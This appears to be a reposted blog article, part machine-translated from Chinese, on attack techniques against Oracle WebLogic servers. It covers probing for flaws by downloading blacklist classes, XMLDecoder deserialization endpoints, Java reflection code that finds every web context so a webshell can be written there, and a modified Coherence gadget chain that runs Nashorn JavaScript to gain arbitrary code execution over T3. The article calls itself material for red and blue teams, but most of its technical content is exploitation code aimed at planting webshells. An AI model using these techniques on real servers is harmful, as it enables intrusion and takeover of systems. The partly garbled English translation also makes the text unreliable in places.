The weblogic server is characterized by its large and complex architecture, which is generally difficult for the blue team to defend, and is mostly deployed on the external network. Moreover, weblogic's attack cost is relatively low. As long as there is a vulnerability, you can generally directly obtain the root permissions of the target server. During offensive and defensive exercises, it was focused on by all major attacking teams and defenders.
Of course, there are more or less problems with various exp programs currently available on the Internet, including my own tools. So recently, at the request of a friend, I sorted out some attack methods and "perfect" uses. The red team can use it to improve their own tools, and the blue team can use it to write traceability reports.
There is no better way to determine whether there are vulnerabilities in weblogic among the information currently available on the Internet. Usually, the approach of various tools is to use exp once. If it succeeds, there will naturally be a vulnerability. If it fails, there will be no vulnerability. Or, detect it through dnslog. These two methods are limited by various factors, resulting in a high rate of false positives and false positives. It is also possible to trigger the rules of security devices such as honeypots and waf.
Of course, here I will introduce a simpler way to check whether there is a vulnerability, that is to use the CODEBASE function of T3 RMI to check the weblogic blacklist.
codebase: Simply put, codebase is the path to remotely load classes. When the object sender serializes the object, the codebase information is appended to the serialization stream. This information tells the receiver where to find the executable code for the object.
Then can we think a little more, what if this class is a blacklist class of weblogic? ? And weblogic's codebase uses the http protocol to transmit classes.
The method of utilization is as follows. Use your browser and confirm that the other party is a weblogic server. The URL is as follows
T3 deserialization blacklist
http://xx :7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class
xmldecoder blacklist
http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/ wsee/workarea/WorkContextXmlInputAdapter.class
In the code at weblogic.rjvm.InternalWebAppListener#contextInitialized
, register and process the codebase The code, that is, the request path is classes
if(!server.isClasspathServletDisabled()) { servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"}); }
Let’s take a look at the processing code of weblogic.servlet.ClasspathServlet. It is very simple, just read the class name and write it into the http response.
Of course, is there also an arbitrary file reading vulnerability? The answer is yes, but there is a blacklist that prohibits files with certain suffixes from being read. The blacklist list is as follows
#Theoretically, you can also use CODEBASE to read user classes and download them locally for code analysis. The premise is that you need to know what the user's class name is. Of course, there is also a blacklist. The blacklist is as follows
## 2. Weblogic xmldecoder deserialization vulnerabilityI won’t introduce the vulnerability in too much, so I won’t talk about it here. The causes and analysis of vulnerabilities. Vulnerability detection url/wls-wsat/CoordinatorPortTypeRegistrationPortTypeRPCParticipantPortTypeRegistrationRequesterPortTypeCoordinatorPortType11RegistrationPortTypeRPC11ParticipantPortType11RegistrationRequesterPortType11I think the difficulty of exploiting this vulnerability is as follows
1. There are only echo codes on the Internet, but no utilization codes, such as memory horses. 2. If you write horses, you may encounter path problems. The path of wenlogic is random, and the solution currently disclosed on the Internet is blasting. 3. How to find all Contexts?Let’s solve them one by one, taking the exp of weblogic 10.x as an exampleThe xml payload of xmldecoder has done the following work
1 .Call the weblogic.utils.Hex.fromHexString function to convert the hex-encoded class file into binary format2.Call the defineClass method of org.mozilla.classfile.DefiningClassLoader to load the above class file into the virtual machine Medium3. Call the newInstance method to generate an instance of the class added to the JVM above4. Call the instance method to complete the attackpayloadIn fact, you know After a brief look, you will know how to write xmldecoder. I will not go into details here.All the above questions can actually be boiled down to one question, that is, how to find the context of all web applications under weblogic? Here I expose a method that has been tested under weblogic 10/12 and is not affected by the protocol. In other words, as long as you can execute the code in weblogic, I can obtain all the weblogic webcontext. code show as below
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne"); m.setAccessible(true); ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null); List<webappservletcontext> list = new java.util.ArrayList(); StringBuilder sb = new StringBuilder(); for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) { java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children"); childrenF.setAccessible(true); java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime); java.util.Iterator iterator = set.iterator(); while(iterator.hasNext()) { Object key = iterator.next(); if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) { Field contextF = key.getClass().getDeclaredField("context"); contextF.setAccessible(true); WebAppServletContext context = (WebAppServletContext) contextF.get(key); list.add(context); } } } returnlist;</webappservletcontext>
利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()
方法去获取目录的位置,然后写入webshell。
我的代码如下
List<webappservletcontext> contexts = findAllContext(); Iterator<webappservletcontext> i = contexts.iterator(); StringBuilder sb = new StringBuilder(); while(i.hasNext()) { WebAppServletContext context = i.next(); sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath())); } returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>
截图如下
weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。
从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。
注意,不支持1.5以及1.5以下的JVM
在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意
只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图
在nashorn中,默认最后一个变量作为调用本次js的返回值
在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探测的话,参考前面的黑名单下载方式
当然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。
但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。
而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下
image-20210329124530132
当然,corherence gadget处需要修改成如下
private static ChainedExtractor getChainedExtractor() { returnnew ChainedExtractor(new ReflectionExtractor[]{ new ReflectionExtractor( "newInstance", new Object[]{} ), new ReflectionExtractor( "getEngineByName", new Object[]{"nashorn"} ), new ReflectionExtractor( "eval", new Object[]{getJsCode()} ) }); }
The above is the detailed content of What are the weblogic attack techniques?. For more information, please follow other related articles on the PHP Chinese website!